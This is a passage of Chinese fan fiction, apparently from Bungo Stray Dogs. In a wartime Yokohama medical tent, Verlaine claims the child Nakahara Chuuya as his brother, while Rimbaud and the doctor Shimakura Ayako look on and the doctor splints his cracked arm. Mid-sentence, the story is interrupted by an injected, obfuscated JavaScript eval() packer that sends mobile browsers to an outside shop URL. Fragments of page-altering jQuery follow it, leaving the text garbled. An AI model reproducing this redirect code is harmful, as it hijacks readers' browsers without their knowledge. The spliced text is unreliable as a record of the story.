岛仓绫子瞳孔一缩,
她会挡在孩童身前不是意外,而是某种微妙的对同胞,对孩童的庇护心理。
一个因为爆炸牵连受伤,刚醒来,就对亚洲面孔的孩子伸手的外国人,很难不让岛仓绫子产生迁怒,泄愤,虐待这类可怕的猜想。
岛仓绫子艰难而缓慢地移动,让开距离,侧头看了一眼懵懂无知,笨拙地试图穿上衣服的孩童。
她能在横滨安然无恙多年,除了身世,自然也明白明哲保身的道理,一定的眼力让她知道什么人能够招惹,什么人需要远离。
以魏尔伦的容貌气质,绝对不会是普通人,当然,敢在大战时期来到横滨的外国人,没有一个是好惹的。
但是,这距离她太近了,近到她仿佛只要一伸手,或者,说一句话就能改变不远未来的惨案。
“当地的军警就在附近,如果有人在这里违法乱纪,他们会立刻赶来维持秩序,”
岛仓绫子压低了声音,试图最后努力一次,警告道:
“我听说,他们丢了东西,正在四处通缉两个欧洲人。”
虽然他们通缉人时,敷衍到连性别和年龄都没有描述——
因为是长发,所以分不清男女,又因为怀疑戴着假发,所以看到的发色也无法成为证据,
若不是研究部门的负责人认定他们不会轻易死亡,强烈要求军方对外通缉,恐怕会被当作涉事人在爆炸中死亡而草草结案。
岛仓绫子的官员父亲在家用餐的时候曾气到大骂:
那群只会吃空饷的蠢货,怎么不死在大爆炸里?!
岛仓绫子没有说出后半句话,希望魏尔伦能够有所顾忌,就此作罢。
岛仓绫子期待的反应没有出现,
魏尔伦满脑子都是他的同类,对此只觉得聒噪,
反而在岛仓绫子的视线死角,兰堂表情微变,又很快恢复平静,动作自然地把帽子移了位置。
·
为了节省空间,两张床之间的距离并不远,宽度只能勉强让一个人通过,
魏尔伦伸手就能碰到他的同类,稍微用力,就能把瘦小的孩童抱进怀中。
橘发孩童倒也不认生,被魏尔伦突然抱在怀中,只是睁大眼睛,茫然地盯着魏尔伦看。
魏尔伦用手覆盖着橘发孩童的额头,另一扇门的感应越发清晰,甚至,魏尔伦发现,只要他想,他就能推开孩童的门,和推自己的一样轻松。
这就是他们独一无二的联系,即使在茫茫人海,即使失去记忆,也不会错认对方的特殊感应。
他的同类,他的家人,也就是他的……
“弟弟,”
在念出这个似曾相识的称呼时,魏尔伦心中凭空升起了几乎要落泪的庆幸,失而复得,漂浮云端的狂喜让他紧紧把孩童抱在怀中,话语都开始颠三倒四:
“太好了,你还在我身边,我还能找到你,太好了,弟弟……”
“不是弟弟!”
孩童突然发出了不满的声音,他被抱得太紧,身体隐隐作痛,呼吸都开始不畅,求生的本能让他挣扎起来,用手推开魏尔伦的脸,在魏尔伦错愕带着受伤的目光中,道:
“我的名字不是弟弟,而是中也,我的名字是中原中也。”
“中也……中也。”
魏尔伦放松了禁锢,低声念了两遍,看着中也认真点头的模样,忍不住弯起了唇,额头抵着中也的额头,闭了闭眼,声音放松又温柔,含着属于家人之间的温情:
“真是一个好名字。”
中也有些不适应,歪了歪脑袋,转眼间,被魏尔伦肩膀上色彩灿烂的金发吸引了注意力,伸手抓住一缕,又好奇地扯了扯。
“中也,我是你的哥哥。”
魏尔伦没有因为头发被扯而生气,中也的小动作反而让他的心落在实处,增添几分真实感:
“你可以喊我哥哥。”
中也茫然:“哥哥?”
“嗯,是哥哥哦。”
兄友弟恭的相认场景被在场另外两个人注视,却没有感动任何一个人,反而让他们的想法惊人地一致:
他们两个人是兄弟?真的假的?
怎么看都觉得不可能!
先不提他们两人一个是欧洲人,一个亚洲人,只是看两人的装扮,
魏尔伦此时即使有几分狼狈,也如同落难的王公贵族,相貌可比银幕上的明星,行动间带着说不出的优雅,身上的布料更是肉眼可见的不菲,
而中也,则和附近的流浪儿没什么两样,脸颊和头发脏兮兮的,瘦得吓人,仿佛只有一层皮贴在骨头上,身上也只有一件反着裹在身上的大衣,露出来的内衬破破烂烂,脏到认不出原貌。
难道是这个外国人为了带走这个孩子虐待而想出来的借口?
岛仓绫子忍不住猜测,却在看到魏尔伦毫不嫌弃地蹭上中也脸上同款的黑色时,想法又开始动摇:
魏尔伦的一举一动,看上去不像是演的,
但是,万一是假的呢?
魏尔伦抱着中也,激动的情绪平静下来后,另一种更迫切,更坚定的想法浮起:
他想把弟弟藏起来。
这里有很多人,环境也很混乱,太危险了,他要把弟弟藏到其他人都不知道的地方,安全地保护起来。
最好,再把弟弟养得胖一点。
魏尔伦心疼地捏了捏中也只剩皮和骨头,稍微用力就能折断的细瘦胳膊,正打算行动,却听到一道声音问他:
“你是……为了寻找你的弟弟,才来的横滨吗?”
魏尔伦看向声音来源,兰堂。
兰堂依旧是刚才的坐姿,不知道看了多久,说出困惑时,脸上也没有太多的不解,而是如海面月光的平静,只在熟人面前露出的温和。
异常、非常熟悉的感觉。
魏尔伦的头又开始疼了,却发现,他能从兰堂的瞳孔中看到自己的倒影,清晰又模糊,
恍惚间,那片金绿色成为独属于他的牢笼。
魏尔伦一惊,错开目光,下意识把中也抱得更紧了一些,用身体挡住兰堂的视线,心中警惕,却产生不了敌意,也不愿意对外示弱,只含糊“嗯”了一声。
“原来如此,”
兰堂眨了一下眼睛,视线轻飘飘掠过面露恍然的岛仓绫子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572034|142943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,落在手腕的绷带上,声音低了一些,如同含着努力掩盖的羡慕:
“真幸运啊,遇到这种事,还能和家人在一起……”
魏尔伦不知道如何接话,索性闭口不谈,专心为中也梳理黏在一起的头发,表现出了十分明显的排斥之意。
兰堂没有继续开口,表情不变,盯着被绷带裹得严严实实的手腕发呆,一时间,两人之间的氛围比陌生人还要疏离。
帐篷内的安静没有持续太长时间,
岛仓绫子自觉明白了事情真相,放下心,继续履行原本的职责,不过,语气缓和了几分:
“这位患者,你身上有需要治疗的地方吗?请不要对医生撒谎,只有治好自己,你才能更好的照顾弟弟。”
魏尔伦充耳不闻,直到听到“弟弟”这两个字,才有了反应,看向医生,想了想,伸出左手,简单道:
“骨头裂了。”
“什么?”
岛仓绫子一时都觉得自己听错了,反应过来后,严肃了表情,立刻进行检查,
在看到魏尔伦小臂上十分明显的青紫时,她才意识到魏尔伦所言非虚,甚至因为魏尔伦醒来后的行动,伤势有些加重。
魏尔伦抱着中原中也,左手虚虚握成拳头,眉毛都快皱成了死结,
被另一个人握着胳膊时,产生的排斥与警惕让魏尔伦下意识要抽回手,被理智阻止后,又成为让他心烦意乱的烦躁与厌恶。
什么情况?
难道他不喜欢其他人的触碰?
但他抱着弟弟时,明明没有这种感觉,反而让他分外安心。
还是说,他有洁癖?
魏尔伦看了一眼怀中快成为一个煤球的中也,否认了这个猜测。
魏尔伦看向岛仓绫子身上的白大褂,试图说服自己接受医生的治疗,却发现他在看到白大褂的那一刻,他心中的厌恶情绪增添了一倍。
什么情况?
魏尔伦百思不得其解,不得不忍耐着脑中乱窜的负面情绪,仿佛防备着什么,一直紧盯着岛仓绫子的动作。
在不涉及家国仇恨时,岛仓绫子是一个合格的医生,给魏尔伦消完毒后,从铁盘中挑选了长度合适的木板,将魏尔伦的手臂和木板一起缠了起来。
治疗结束后,魏尔伦才放松了些许,尝试性地活动了一下左臂,木板只起到了固定的作用,没有影响肘关节与腕部的灵活。
岛仓绫子一边整理东西,一边叮嘱道:
“以你的伤势,一个月内不要剧烈活动,也不能提重物,最好早日回家静养。”
岛仓绫子拿出消炎药,拧开瓶盖看了看,犹豫一下,将仅能盖住瓶子底部的药片连同药瓶一起递给魏尔伦:
“一日一片,如果发热了就多吃一片。”
在物资紧迫的战争时期,消炎药是一个好东西,若不是看在魏尔伦带着一个孩子,以及刚才的误解的份上,她不会多给魏尔伦消炎药。
“我记住了。”
魏尔伦接过只有两个指腹宽的小药瓶,放入口袋,
下一秒,他发现岛仓绫子在他放松警惕的时候,对中也伸出手,就要抱走中也。